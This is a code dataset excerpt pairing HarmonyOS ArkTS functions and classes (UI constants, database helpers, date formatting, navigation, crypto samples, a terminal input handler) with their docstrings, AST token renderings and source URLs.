* Th... | AST#export_declaration#Left export AST#class_declaration#Left class GoodsTabs AST#class_body#Left { /**
* The height of GoodsTabs.
*/ AST#property_declaration#Left static readonly BAR_HEIGHT : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right = AST#expression#L... | export class GoodsTabs {
static readonly BAR_HEIGHT: number = 50;
static readonly TABVIEW_POSITION_INDEX_PAGE: number = 0;
static readonly IMAGE_SIZE_WIDTH: number = 12;
static readonly IMAGE_SIZE_HEIGHT: number = 16;
static readonly TAB_WIDTH: string = '90%';
static readonly TIME: n... | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Ability/StageAbilityDemo/entry/src/main/ets/common/constants/HomeConstants.ets#L170-L216 | 7c1c9a877ead9415963eb94a3cf853ee594bcbfa | gitee | |
openharmony/developtools_profiler | 73d26bb5acfcafb2b1f4f94ead5640241d1e5f73 | host/smartperf/client/client_ui/entry/src/main/ets/common/ui/detail/chart/utils/ViewPortHandler.ets | arkts | zoom | Post-scales by the specified scale factors.
@param scaleX
@param scaleY
@return | public zoom(scaleX: number, scaleY: number, x?: number, y?: number, outputMatrix?: Matrix): Matrix {
var save: Matrix = outputMatrix != null && outputMatrix != undefined ? outputMatrix : new Matrix();
save.reset();
save.set(this.mMatrixTouch);
if (x != undefined && x != null && y != undefined && y != nu... | AST#method_declaration#Left public zoom AST#parameter_list#Left ( AST#parameter#Left scaleX : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left scaleY : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Ri... | public zoom(scaleX: number, scaleY: number, x?: number, y?: number, outputMatrix?: Matrix): Matrix {
var save: Matrix = outputMatrix != null && outputMatrix != undefined ? outputMatrix : new Matrix();
save.reset();
save.set(this.mMatrixTouch);
if (x != undefined && x != null && y != undefined && y != nu... | https://github.com/openharmony/developtools_profiler/blob/73d26bb5acfcafb2b1f4f94ead5640241d1e5f73/host/smartperf/client/client_ui/entry/src/main/ets/common/ui/detail/chart/utils/ViewPortHandler.ets#L229-L239 | fb2aa4e3b6f28a904a0d3fc12cb4ab0941b26894 | gitee |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/pages/Index_backup.ets | arkts | loadNotificationSettings | 加载通知设置 | private async loadNotificationSettings(): Promise<void> {
try {
// 暂时使用默认设置,避免类型不匹配
console.log('[Settings] Using default notification settings:', this.notificationSettings);
} catch (error) {
console.error('[Settings] Failed to load notification settings:', error);
}
} | AST#method_declaration#Left private async loadNotificationSettings AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Promise AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#... | private async loadNotificationSettings(): Promise<void> {
try {
console.log('[Settings] Using default notification settings:', this.notificationSettings);
} catch (error) {
console.error('[Settings] Failed to load notification settings:', error);
}
} | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/pages/Index_backup.ets#L1120-L1127 | 33aab6a440a4555aa4229326d891d7d0c3fe8ae2 | github |
pangpang20/wavecast.git | d3da8a0009eb44a576a2b9d9d9fe6195a2577e32 | entry/src/main/ets/entryability/EntryAbility.ets | arkts | initServices | 初始化服务 | private async initServices(): Promise<void> {
try {
// 初始化数据库
await DatabaseService.getInstance().init(this.context);
// 初始化设置
await SettingsService.getInstance().init(this.context);
// 初始化播放器(设置 Context 以支持后台播放)
PlayerService.getInstance().setContext(this.context);... | AST#method_declaration#Left private async initServices AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Promise AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#Right > AST#... | private async initServices(): Promise<void> {
try {
await DatabaseService.getInstance().init(this.context);
await SettingsService.getInstance().init(this.context);
PlayerService.getInstance().setContext(this.context);
await PlayerService.getInstance().init(... | https://github.com/pangpang20/wavecast.git/blob/d3da8a0009eb44a576a2b9d9d9fe6195a2577e32/entry/src/main/ets/entryability/EntryAbility.ets#L70-L89 | 498901605ee63e7cd7f48b06303b1a249c810f84 | github |
openharmony/codelabs | d899f32a52b2ae0dfdbb86e34e8d94645b5d4090 | Security/StringCipherArkTS/entry/src/main/ets/common/constants/CommonConstants.ets | arkts | Common constants for all features. | export default class CommonConstants {
/**
* Input length of the account.
*/
static readonly INPUT_ACCOUNT_LENGTH: number = 14;
/**
* Left padding of the input box.
*/
static readonly INPUT_PADDING_LEFT: number = 0;
/**
* Register page url.
*/
static readonly ROUTER_REGISTER_URL: string... | AST#export_declaration#Left export default AST#class_declaration#Left class CommonConstants AST#class_body#Left { /**
* Input length of the account.
*/ AST#property_declaration#Left static readonly INPUT_ACCOUNT_LENGTH : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotat... | export default class CommonConstants {
static readonly INPUT_ACCOUNT_LENGTH: number = 14;
static readonly INPUT_PADDING_LEFT: number = 0;
static readonly ROUTER_REGISTER_URL: string = 'pages/Register';
static readonly ROUTER_WELCOME_URL: string = 'pages/Welcome';
static readonly PROMPT_BOTT... | https://github.com/openharmony/codelabs/blob/d899f32a52b2ae0dfdbb86e34e8d94645b5d4090/Security/StringCipherArkTS/entry/src/main/ets/common/constants/CommonConstants.ets#L19-L157 | 6d44e0728ab8d63551bb0f8f48157accabbb90bd | gitee | |
liuchao0739/arkTS_universal_starter.git | 0ca845f5ae0e78db439dc09f712d100c0dd46ed3 | entry/src/main/ets/pages/Profile.ets | arkts | handleLogout | 退出登录 | async handleLogout(): Promise<void> {
await AuthService.logout();
Router.replace(Routes.LOGIN);
} | AST#method_declaration#Left async handleLogout AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Promise AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#Right > AST#type_arg... | async handleLogout(): Promise<void> {
await AuthService.logout();
Router.replace(Routes.LOGIN);
} | https://github.com/liuchao0739/arkTS_universal_starter.git/blob/0ca845f5ae0e78db439dc09f712d100c0dd46ed3/entry/src/main/ets/pages/Profile.ets#L26-L29 | e51e0cf7ab5cae10b4d55574332d7cdfeaf20816 | github |
2763981847/Clock-Alarm.git | 8949bedddb7d011021848196735f30ffe2bd1daf | entry/src/main/ets/common/util/DateUtils.ets | arkts | 格式化日期时间的函数 | export function formatDateTime(date: Date | number, format: string): string {
// 如果输入的日期是数字,将其转换为日期对象
date = new Date(date)
// 定义日期格式化的参数对象
const o = {
'y+': date.getFullYear(), // 年份
'M+': date.getMonth() + 1, // 月份
'd+': date.getDate(), // 日
'h+': date.getHours() % 12 === 0 ? 12 : date.getHour... | AST#export_declaration#Left export AST#function_declaration#Left function formatDateTime AST#parameter_list#Left ( AST#parameter#Left date : AST#type_annotation#Left AST#union_type#Left AST#primary_type#Left Date AST#primary_type#Right | AST#primary_type#Left number AST#primary_type#Right AST#union_type#Right AST#type_... | export function formatDateTime(date: Date | number, format: string): string {
date = new Date(date)
const o = {
'y+': date.getFullYear(),
'M+': date.getMonth() + 1,
'd+': date.getDate(),
'h+': date.getHours() % 12 === 0 ? 12 : date.getHours() % 12,
'H+': date.getHours(),
'm+': dat... | https://github.com/2763981847/Clock-Alarm.git/blob/8949bedddb7d011021848196735f30ffe2bd1daf/entry/src/main/ets/common/util/DateUtils.ets#L2-L36 | 71c7ccd20901ab3a9c008116c819238c14bdcdc1 | github | |
YShelter/Accouting_ArkTS.git | 8c663c85f2c11738d4eabf269c23dc1ec84eb013 | entry/src/main/ets/common/database/Rdb/RdbUtils.ets | arkts | update | 更新数据 | update(values: dataRdb.ValuesBucket, rdbPredicates: dataRdb.RdbPredicates): Promise<number> {
return this.getDb().then(dbHelper => {
return dbHelper.update(values, rdbPredicates);
})
} | AST#method_declaration#Left update AST#parameter_list#Left ( AST#parameter#Left values : AST#type_annotation#Left AST#primary_type#Left AST#qualified_type#Left dataRdb . ValuesBucket AST#qualified_type#Right AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left rdbPredicates : AST#ty... | update(values: dataRdb.ValuesBucket, rdbPredicates: dataRdb.RdbPredicates): Promise<number> {
return this.getDb().then(dbHelper => {
return dbHelper.update(values, rdbPredicates);
})
} | https://github.com/YShelter/Accouting_ArkTS.git/blob/8c663c85f2c11738d4eabf269c23dc1ec84eb013/entry/src/main/ets/common/database/Rdb/RdbUtils.ets#L92-L96 | 377a5bbfcbd75d2d2c149a6ca6e76da0add8fce2 | github |
YShelter/Accouting_ArkTS.git | 8c663c85f2c11738d4eabf269c23dc1ec84eb013 | entry/src/main/ets/common/database/Rdb/RdbUtils.ets | arkts | addTableColumn | 向表格中添加一行属性 | addTableColumn(tableName: string, column: ColumnInfo): Promise<void> {
return this.getDb().then(dbHelper => {
return dbHelper.addTableColumn(tableName, column);
})
} | AST#method_declaration#Left addTableColumn AST#parameter_list#Left ( AST#parameter#Left tableName : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left column : AST#type_annotation#Left AST#primary_type#Left ColumnInfo AST#prima... | addTableColumn(tableName: string, column: ColumnInfo): Promise<void> {
return this.getDb().then(dbHelper => {
return dbHelper.addTableColumn(tableName, column);
})
} | https://github.com/YShelter/Accouting_ArkTS.git/blob/8c663c85f2c11738d4eabf269c23dc1ec84eb013/entry/src/main/ets/common/database/Rdb/RdbUtils.ets#L78-L82 | 82154cf2491c3903b93bd48af8ca1ffc068111ff | github |
openharmony/arkui_ace_engine | 30c7d1ee12fbedf0fabece54291d75897e2ad44f | examples/Overlay/entry/src/main/ets/pages/components/menu/bindContextMenuPreviewMode.ets | arkts | BindContextMenuPreviewModeBuilder | Copyright (c) 2025 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | @Builder
export function BindContextMenuPreviewModeBuilder(name: string, param: Object) {
BindContextMenuPreviewModeExample()
} | AST#decorated_export_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right export function BindContextMenuPreviewModeBuilder AST#parameter_list#Left ( AST#parameter#Left name : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#pa... | @Builder
export function BindContextMenuPreviewModeBuilder(name: string, param: Object) {
BindContextMenuPreviewModeExample()
} | https://github.com/openharmony/arkui_ace_engine/blob/30c7d1ee12fbedf0fabece54291d75897e2ad44f/examples/Overlay/entry/src/main/ets/pages/components/menu/bindContextMenuPreviewMode.ets#L16-L19 | 43d8e6dfabd8526e404e867c431915d6ef04d0a9 | gitee |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/DocsSample/Media/AVTranscoder/AVTranscoderArkTS/entry/src/main/ets/transcoder/AVTranscoderManager.ets | arkts | getCurrentProgress | 获取当前进度 | getCurrentProgress(): number {
console.info(`getCurrentProgress = ${this.currentProgress}`);
return this.currentProgress;
} | AST#method_declaration#Left getCurrentProgress AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#expression_statement#Left AST#expression#Left AST#call_expression... | getCurrentProgress(): number {
console.info(`getCurrentProgress = ${this.currentProgress}`);
return this.currentProgress;
} | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/DocsSample/Media/AVTranscoder/AVTranscoderArkTS/entry/src/main/ets/transcoder/AVTranscoderManager.ets#L122-L125 | e7d392c7538e8cfd38f3ae1b7be9b8f93d3c35e7 | gitee |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/BasicFeature/Connectivity/Http/http/index.ets | arkts | setting | Copyright (c) 2022 Huawei Device Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, soft... | export { setting } from './src/main/ets/components/MainPage/MainPage' | AST#export_declaration#Left export { setting } from './src/main/ets/components/MainPage/MainPage' AST#export_declaration#Right | export { setting } from './src/main/ets/components/MainPage/MainPage' | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/BasicFeature/Connectivity/Http/http/index.ets#L16-L16 | c5d0010ca0d49ef52cb9c42d10eeb937ee8f59fb | gitee |
WinWang/HarmoneyOpenEye.git | 57f0542795336009aa0d46fd9fa5b07facc2ae87 | entry/src/main/ets/constants/CommonConstants.ets | arkts | Common constants for all features. | export class CommonConstants {
/**
* Search weight.
*/
static readonly SEARCH_WEIGHT: number = 10;
/**
* The divider stroke width.
*/
static readonly DIVIDER_STROKE_WIDTH: number = 1;
/**
* The offset of detail list for LG device.
*/
static readonly DETAIL_LIST_OFFSET_LG: number = 1;
... | AST#export_declaration#Left export AST#class_declaration#Left class CommonConstants AST#class_body#Left { /**
* Search weight.
*/ AST#property_declaration#Left static readonly SEARCH_WEIGHT : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right = AST#expression#Le... | export class CommonConstants {
static readonly SEARCH_WEIGHT: number = 10;
static readonly DIVIDER_STROKE_WIDTH: number = 1;
static readonly DETAIL_LIST_OFFSET_LG: number = 1;
static readonly DETAIL_LIST_OFFSET_MD: number = 1;
static readonly DETAIL_LIST_SPAN_LG: number = 9;
static re... | https://github.com/WinWang/HarmoneyOpenEye.git/blob/57f0542795336009aa0d46fd9fa5b07facc2ae87/entry/src/main/ets/constants/CommonConstants.ets#L4-L208 | e06cc3e2858f04ba35a43e7f4ad8dece6e9a198e | github | |
Joker-x-dev/HarmonyKit.git | f97197ce157df7f303244fba42e34918306dfb08 | core/navigation/src/main/ets/NavigationService.ets | arkts | 携带结果返回上一页(触发上一跳中的 onPop 回调)
@param {Any} [result={}] - 返回结果
@param {boolean} [animated=true] - 是否需要动画
@returns {void} 无返回值 | export function navigateBackWithResult(result: Any | object = {}, animated?: boolean): void {
const stack: NavPathStack | undefined = getNavPathStack();
if (!stack) {
return;
}
try {
stack.pop(result, animated);
} catch (err) {
hilog.error(DOMAIN, "NavSvc", "[NavigationService] navigateBackWithRes... | AST#export_declaration#Left export AST#function_declaration#Left function navigateBackWithResult AST#parameter_list#Left ( AST#parameter#Left result : AST#type_annotation#Left AST#union_type#Left AST#primary_type#Left Any AST#primary_type#Right | AST#primary_type#Left object AST#primary_type#Right AST#union_type#Right ... | export function navigateBackWithResult(result: Any | object = {}, animated?: boolean): void {
const stack: NavPathStack | undefined = getNavPathStack();
if (!stack) {
return;
}
try {
stack.pop(result, animated);
} catch (err) {
hilog.error(DOMAIN, "NavSvc", "[NavigationService] navigateBackWithRes... | https://github.com/Joker-x-dev/HarmonyKit.git/blob/f97197ce157df7f303244fba42e34918306dfb08/core/navigation/src/main/ets/NavigationService.ets#L102-L112 | 66255b747ba02772f2fe78681234b1db2e90aab3 | github | |
open9527/OpenHarmony | fdea69ed722d426bf04e817ec05bff4002e81a4e | libs/dialog/src/main/ets/tips/TipsDialogManager.ets | arkts | showFailure | 失败提示 弹窗
@param params | static showFailure(msg: string = '') {
TipsDialogManager.showInfo(msg, $r('app.media.dialog_tips_failure_icon'))
} | AST#method_declaration#Left static showFailure AST#parameter_list#Left ( AST#parameter#Left msg : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left '' AST#expression#Right AST#parameter#Right ) AST#parameter_list#Right AST#builder_function_body#... | static showFailure(msg: string = '') {
TipsDialogManager.showInfo(msg, $r('app.media.dialog_tips_failure_icon'))
} | https://github.com/open9527/OpenHarmony/blob/fdea69ed722d426bf04e817ec05bff4002e81a4e/libs/dialog/src/main/ets/tips/TipsDialogManager.ets#L30-L32 | 5e600af925f1c33449a41d33e3817a4184acfe72 | gitee |
BohanSu/LumosAgent-HarmonyOS.git | 9eee81c93b67318d9c1c5d5a831ffc1c1fa08e76 | entry/src/main/ets/common/RdbHelper.ets | arkts | initDatabase | Initialize database and create tables | async initDatabase(): Promise<void> {
const config: relationalStore.StoreConfig = {
name: Constants.DB_NAME,
securityLevel: relationalStore.SecurityLevel.S1
};
try {
this.rdbStore = await relationalStore.getRdbStore(this.context, config);
console.info('[RdbHelper] Database initializ... | AST#method_declaration#Left async initDatabase AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left AST#generic_type#Left Promise AST#type_arguments#Left < AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST#type_annotation#Right > AST#type_arg... | async initDatabase(): Promise<void> {
const config: relationalStore.StoreConfig = {
name: Constants.DB_NAME,
securityLevel: relationalStore.SecurityLevel.S1
};
try {
this.rdbStore = await relationalStore.getRdbStore(this.context, config);
console.info('[RdbHelper] Database initializ... | https://github.com/BohanSu/LumosAgent-HarmonyOS.git/blob/9eee81c93b67318d9c1c5d5a831ffc1c1fa08e76/entry/src/main/ets/common/RdbHelper.ets#L26-L43 | 426a6f25900715f42646da49fc88be9f85552f7f | github |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/DocsSample/Security/CryptoArchitectureKit/EncryptionDecryption/EncryptionDecryptionGuidanceRSA/entry/src/main/ets/pages/rsa_pkcs1/RSAPKCS1Sync.ets | arkts | genKeyPairByData | 生成RSA密钥对 | function genKeyPairByData(pubKeyData: Uint8Array, priKeyData: Uint8Array) {
let pubKeyBlob: cryptoFramework.DataBlob = { data: pubKeyData };
let priKeyBlob: cryptoFramework.DataBlob = { data: priKeyData };
let rsaGenerator = cryptoFramework.createAsyKeyGenerator('RSA1024');
let keyPair = rsaGenerator.convertKey... | AST#function_declaration#Left function genKeyPairByData AST#parameter_list#Left ( AST#parameter#Left pubKeyData : AST#type_annotation#Left AST#primary_type#Left Uint8Array AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left priKeyData : AST#type_annotation#Left AST#primary_type#Lef... | function genKeyPairByData(pubKeyData: Uint8Array, priKeyData: Uint8Array) {
let pubKeyBlob: cryptoFramework.DataBlob = { data: pubKeyData };
let priKeyBlob: cryptoFramework.DataBlob = { data: priKeyData };
let rsaGenerator = cryptoFramework.createAsyKeyGenerator('RSA1024');
let keyPair = rsaGenerator.convertKey... | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/DocsSample/Security/CryptoArchitectureKit/EncryptionDecryption/EncryptionDecryptionGuidanceRSA/entry/src/main/ets/pages/rsa_pkcs1/RSAPKCS1Sync.ets#L36-L43 | 94254fb0367f8166d0edbec4bbc5ea7baf22d9c3 | gitee |
hackeris/HiSH | 6485c7b24ee47727fe464dc3a69484f44689e85b | entry/src/main/ets/components/WebTerminal.ets | arkts | sendInput | ============== for javascript in ArkWeb ================ | sendInput(data: string): void {
hilog.info(DOMAIN, 'WebTerminal', 'sendInput, data: %{public}s', data);
// 处理 Ctrl 状态:将小写字母转换为控制字符(一次性,发送后自动重置)
if (this.ctrlPressed && data.length === 1) {
const char = data.charAt(0);
if (char >= 'a' && char <= 'z') {
data = String.fromCharCode(char.cha... | AST#method_declaration#Left sendInput AST#parameter_list#Left ( AST#parameter#Left data : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left void AST#primary_type#Right AST... | sendInput(data: string): void {
hilog.info(DOMAIN, 'WebTerminal', 'sendInput, data: %{public}s', data);
if (this.ctrlPressed && data.length === 1) {
const char = data.charAt(0);
if (char >= 'a' && char <= 'z') {
data = String.fromCharCode(char.charCodeAt(0) - 'a'.charCodeAt(0) + 1);
... | https://github.com/hackeris/HiSH/blob/6485c7b24ee47727fe464dc3a69484f44689e85b/entry/src/main/ets/components/WebTerminal.ets#L293-L320 | 147aafc81ca0e69f40736ce54862884d4ded2fe7 | gitee |
openharmony/applications_app_samples | a826ab0e75fe51d028c1c5af58188e908736b53b | code/DocsSample/ArkUISample/ScrollableComponent/entry/src/main/ets/pages/list/DeleteListItem.ets | arkts | [Start structural_references] | export class ToDo {
public key: string = util.generateRandomUUID(true);
public name: string;
constructor(name: string) {
this.name = name;
}
} | AST#export_declaration#Left export AST#class_declaration#Left class ToDo AST#class_body#Left { AST#property_declaration#Left public key : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right = AST#expression#Left AST#call_expression#Left AST#expression#Left AST#member_e... | export class ToDo {
public key: string = util.generateRandomUUID(true);
public name: string;
constructor(name: string) {
this.name = name;
}
} | https://github.com/openharmony/applications_app_samples/blob/a826ab0e75fe51d028c1c5af58188e908736b53b/code/DocsSample/ArkUISample/ScrollableComponent/entry/src/main/ets/pages/list/DeleteListItem.ets#L19-L26 | 156f0f79b43f80f37e3f24516eb6b85bb19501a7 | gitee | |
jxdiaodeyi/YX_Sports.git | af5346bd3d5003c33c306ff77b4b5e9184219893 | YX_Sports/entry/src/main/ets/pages/class.ets | arkts | warmUpItemUI | **********热身动作**********// | @Builder
warmUpItemUI(name: string, index: number) {
Row() {
Image('/image/home/class1.png')
.width(100)
.height(100)
.margin({ right: 20, bottom: 10 })
Column() {
Text(name)
.margin({ bottom: 20 })
.width('100%')
Text(this.warmUpArryCount[in... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right warmUpItemUI AST#parameter_list#Left ( AST#parameter#Left name : AST#type_annotation#Left AST#primary_type#Left string AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right , AST#parameter#Left index : AST#type_annotation#Left A... | @Builder
warmUpItemUI(name: string, index: number) {
Row() {
Image('/image/home/class1.png')
.width(100)
.height(100)
.margin({ right: 20, bottom: 10 })
Column() {
Text(name)
.margin({ bottom: 20 })
.width('100%')
Text(this.warmUpArryCount[in... | https://github.com/jxdiaodeyi/YX_Sports.git/blob/af5346bd3d5003c33c306ff77b4b5e9184219893/YX_Sports/entry/src/main/ets/pages/class.ets#L325-L341 | d18ce1c03739ec62c41b0533952a4d05e308eff8 | github |
mayuanwei/harmonyOS_bilibili | 8a36b68b1ddf4433e2e17ee10fee4993cce2a6c5 | Q2/DxinTranslate/entry/src/main/ets/fun/getData.ets | arkts | 保存曾经翻译过的历史数据 | export function saveHistory(tranObj: Resp) {
//获取 AppStorage 对象中存过的数组。可能是空数组。也可能是有数据的数组。
let histroyArr: Resp[] = getHistory()
// 去重。
let flag = histroyArr.some((item) => item.src=== tranObj.src && item.tranApi === tranObj.tranApi && item.dst === tranObj.dst)
if (!flag) {
//还没存过 tranObj 存到数组的开头 比如只存50条记... | AST#export_declaration#Left export AST#function_declaration#Left function saveHistory AST#parameter_list#Left ( AST#parameter#Left tranObj : AST#type_annotation#Left AST#primary_type#Left Resp AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#block_statement#Left { //获取... | export function saveHistory(tranObj: Resp) {
let histroyArr: Resp[] = getHistory()
let flag = histroyArr.some((item) => item.src=== tranObj.src && item.tranApi === tranObj.tranApi && item.dst === tranObj.dst)
if (!flag) {
histroyArr.unshift(tranObj)
}
AppStorage.SetOrCreate(Constants.his... | https://github.com/mayuanwei/harmonyOS_bilibili/blob/8a36b68b1ddf4433e2e17ee10fee4993cce2a6c5/Q2/DxinTranslate/entry/src/main/ets/fun/getData.ets#L29-L44 | be5cc2a81b8a14324e5e7a17d085dd08a0142239 | gitee | |
salehelper/algorithm_arkts.git | 61af15272038646775a4745fca98a48ba89e1f4e | entry/src/main/ets/ciphers/EllipticCurveKeyExchange.ets | arkts | generatePrivateKey | 生成私钥
@returns 私钥 | static generatePrivateKey(): number {
return Math.floor(Math.random() * (EllipticCurveKeyExchange.P - 1)) + 1;
} | AST#method_declaration#Left static generatePrivateKey AST#parameter_list#Left ( ) AST#parameter_list#Right : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#block_statement#Left { AST#statement#Left AST#return_statement#Left return AST#expression#Left AST#binar... | static generatePrivateKey(): number {
return Math.floor(Math.random() * (EllipticCurveKeyExchange.P - 1)) + 1;
} | https://github.com/salehelper/algorithm_arkts.git/blob/61af15272038646775a4745fca98a48ba89e1f4e/entry/src/main/ets/ciphers/EllipticCurveKeyExchange.ets#L100-L102 | 7fb469e268791838ea02c3eff152d16d130b46a4 | github |
KoStudio/ArkTS-WordTree.git | 78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324 | entry/src/main/ets/app/views/WordClickableText.ets | arkts | ---------- 组件构建 ---------- | build() {
Flex({
direction: FlexDirection.Row,
wrap: FlexWrap.Wrap,
justifyContent: FlexAlign.Start,
alignItems: ItemAlign.Start
}) {
ForEach(this.splitText(this.text), (part: string, index: number) => {
// --------- 处理换行符 ---------
if (part === ... | AST#build_method#Left build ( ) AST#build_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Flex ( AST#component_parameters#Left { AST#component_parameter#Left direction : AST#expression#Left AST#member_expression#Left AST#expression#Left FlexDirection AST#expression#Right .... | build() {
Flex({
direction: FlexDirection.Row,
wrap: FlexWrap.Wrap,
justifyContent: FlexAlign.Start,
alignItems: ItemAlign.Start
}) {
ForEach(this.splitText(this.text), (part: string, index: number) => {
if (part === "\n") {
Blank()
... | https://github.com/KoStudio/ArkTS-WordTree.git/blob/78c2a8f8ef6cf4c6be8bab2212f04bfcfa7e7324/entry/src/main/ets/app/views/WordClickableText.ets#L35-L70 | d08facbb338ddea7d74644d8de140c12dc59124f | github | |
harmonyos/samples | f5d967efaa7666550ee3252d118c3c73a77686f5 | ETSUI/CategoryListSample/entry/src/main/ets/viewmodel/PageViewModel.ets | arkts | getListData | Get sub list data in a category.
@param {number} itemSize The size of listData of category.
@return {Array<ListItemData>} ListData of category. | private getListData(itemSize: number) {
let listData: Array<ListItemData> = [];
for (let i = 0; i < itemSize; i++) {
let listItem = new ListItemData();
listItem.title = $r('app.string.list_item_title');
listItem.summary = $r('app.string.list_item_summary');
listItem.imageArrow = $r("app.... | AST#method_declaration#Left private getListData AST#parameter_list#Left ( AST#parameter#Left itemSize : AST#type_annotation#Left AST#primary_type#Left number AST#primary_type#Right AST#type_annotation#Right AST#parameter#Right ) AST#parameter_list#Right AST#block_statement#Left { AST#statement#Left AST#variable_declara... | private getListData(itemSize: number) {
let listData: Array<ListItemData> = [];
for (let i = 0; i < itemSize; i++) {
let listItem = new ListItemData();
listItem.title = $r('app.string.list_item_title');
listItem.summary = $r('app.string.list_item_summary');
listItem.imageArrow = $r("app.... | https://github.com/harmonyos/samples/blob/f5d967efaa7666550ee3252d118c3c73a77686f5/ETSUI/CategoryListSample/entry/src/main/ets/viewmodel/PageViewModel.ets#L31-L41 | 9ccfbf520ebaaef87bd291daca01959383bfa6d4 | gitee |
harmonyos-cases/cases | eccdb71f1cee10fa6ff955e16c454c1b59d3ae13 | CommonAppDevelopment/feature/addressexchange/src/main/ets/view/AddressExchangeView.ets | arkts | rightAddressBuilder | 右侧的地址 | @Builder
rightAddressBuilder() {
Text($r('app.string.address_exchange_address_right'))
.width($r('app.string.address_exchange_address_width'))
.textAlign(TextAlign.Center)
.fontSize($r('app.string.address_exchange_font_size'))
.onClick(() => {
promptAction.showToast({
mes... | AST#method_declaration#Left AST#decorator#Left @ Builder AST#decorator#Right rightAddressBuilder AST#parameter_list#Left ( ) AST#parameter_list#Right AST#builder_function_body#Left { AST#arkts_ui_element#Left AST#ui_element_with_modifiers#Left AST#ui_component#Left Text ( AST#expression#Left AST#resource_expression#Lef... | @Builder
rightAddressBuilder() {
Text($r('app.string.address_exchange_address_right'))
.width($r('app.string.address_exchange_address_width'))
.textAlign(TextAlign.Center)
.fontSize($r('app.string.address_exchange_font_size'))
.onClick(() => {
promptAction.showToast({
mes... | https://github.com/harmonyos-cases/cases/blob/eccdb71f1cee10fa6ff955e16c454c1b59d3ae13/CommonAppDevelopment/feature/addressexchange/src/main/ets/view/AddressExchangeView.ets#L154-L166 | e2b651edca8db2d2a3d8d93842991444014e2ba5 | gitee |
bigbear20240612/birthday_reminder.git | 647c411a6619affd42eb5d163ff18db4b34b27ff | entry/src/main/ets/services/game/GameificationService.ets | arkts | 成就稀有度枚举 | export enum AchievementRarity {
COMMON = 'common',
UNCOMMON = 'uncommon',
RARE = 'rare',
EPIC = 'epic',
LEGENDARY = 'legendary'
} | AST#export_declaration#Left export AST#enum_declaration#Left enum AchievementRarity AST#enum_body#Left { AST#enum_member#Left COMMON = AST#expression#Left 'common' AST#expression#Right AST#enum_member#Right , AST#enum_member#Left UNCOMMON = AST#expression#Left 'uncommon' AST#expression#Right AST#enum_member#Right , AST... | export enum AchievementRarity {
COMMON = 'common',
UNCOMMON = 'uncommon',
RARE = 'rare',
EPIC = 'epic',
LEGENDARY = 'legendary'
} | https://github.com/bigbear20240612/birthday_reminder.git/blob/647c411a6619affd42eb5d163ff18db4b34b27ff/entry/src/main/ets/services/game/GameificationService.ets#L47-L53 | 073489239d9d8863ff52a54e1ef13d8d1a2cf68e | github | |
